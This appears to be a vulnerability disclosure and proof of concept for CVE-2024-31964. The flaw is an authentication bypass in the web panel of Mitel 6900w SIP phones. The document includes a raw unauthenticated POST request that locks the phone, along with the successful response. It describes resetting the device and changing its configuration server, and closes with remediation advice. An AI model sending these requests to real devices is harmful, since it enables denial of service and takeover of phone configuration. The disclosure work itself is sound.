d-raco/cve-2024-31964CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
It consists of a temporary authentication bypass vulnerability in the HTTP administrative website panel of several Mitel Products.
Allows an attacker to modify the device configuration, and perform denial of service attacks against the affected device.
A user must have successfully logged in minutes before, and from the same source IP as the attacker.
Proposed CVSS:
Advisory: Mitel Product Security Advisory 24-0007
This CVE was found while auditing 3 SIP Phones with the following properties (this CVE was successfully tested against these 3 device models):
According to Mitel's advisory, it affects more products, but I did not have access to any of them to verify it.
Generally, in order to access any Mitel control/management web panel resource, it is necessary to make requests with the "Authorization" header, which establishes the credentials of the user trying to access.
Example of authenticated request:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
In case this header is not set, we get an "Unauthorized" error, and we are asked to authenticate, requiring the credentials.
Unauthorized GET request:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Response:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
However, it turns out that all POST requests from the application can be made without setting the Authorization header, i.e. as an unauthenticated user, provided that a legitimate user has previously logged in from the same source IP as the attacker, and for a limited time (it has been measured that the time window is approximately 8 minutes). That is, if a legitimate user logs into the device's management website, there is a window of about 8 minutes during which an attacker with the same IP as the logged-in user could make unauthenticated POST requests, without needing to know the credentials. The vulnerability is quite restrictive because of the requirement to share the IP with a legitimate user, but in cases where a PC is shared, or computers are accessed through the same proxy server, the possibilities of exploitation would be higher.
By means of POST requests it is possible to change user passwords (requires prior knowledge of the password), lock/unlock the device, reset the device, upload CSV files of contacts, configure the configuration server, etc.
For example, if we try to lock the device without the Authorization header, we see that the device is effectively blocked, denying its service to the user, and we can also reboot the phone, temporarily denying the service altogether. As a quick test, we have also effectively modified the speed-dial keys and the configuration server.
Example of unauthenticated phonelock request:
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Successful unauthenticated response:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='support'>Servicio de soporte técnico</a></span></div></div></body></html>
Additionally, we can request a device reset:
And use ping to verify the temporal loss of connectivity:
We can change most parameters... For example, the FTP server:
The Authorization header should always be required and validated, and/or the session should be managed with cookies, not source IPs.